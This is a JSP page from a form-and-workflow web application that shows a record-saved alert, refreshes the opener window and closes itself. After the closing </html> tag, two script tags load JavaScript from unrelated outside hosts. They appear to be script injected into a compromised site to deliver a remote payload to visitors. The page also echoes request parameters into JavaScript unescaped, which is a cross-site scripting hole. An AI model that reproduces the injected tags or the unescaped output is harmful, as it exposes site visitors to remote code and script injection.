<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.form.bean.*"%>
<%@ page import="com.dcivision.form.dao.*"%>
<%
String formRecordID = request.getParameter("formRecordID");
String formDocID = request.getParameter("formDocID");
String fromPdfStatus = request.getParameter("fromPdfStatus");
String isViewTask = request.getParameter("isViewTask");
String workflowRecordID = request.getParameter("workflowRecordID");

%>

<%@ taglib uri="/tags/struts-bean" prefix="bean" %>


<script language="javascript">
<!--
<%if ("insert".equals(fromPdfStatus)){%>
  alert("<bean:message key='common.message.record_inserted'/>");
<%}else{%>
  alert("<bean:message key='common.message.record_updated'/>");
<%}%>
<%if (Utility.isEmpty(isViewTask) || (!Utility.isEmpty(isViewTask) && !"N".equals(isViewTask))){
  String url = SystemParameterFactory.getSystemParameter(SystemParameterConstant.APPLICATION_BASE_URL) ; 
%>
  if (window.opener.location.href.indexOf("workflow/ListWorkflowSubmission.do")<0){    
    window.opener.location="<%=url%>/form/ListFormSubmissionDetail.do?random=<%=Math.random()%>&navMode=V&formRecordID=<%=formRecordID%>&formDocID=<%=formDocID%>&function=ListFormSubmission&fromPdfStatus=<%=fromPdfStatus%>";
  }
<%}%>
  window.close();

-->
</script>


</body>
</html>



<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>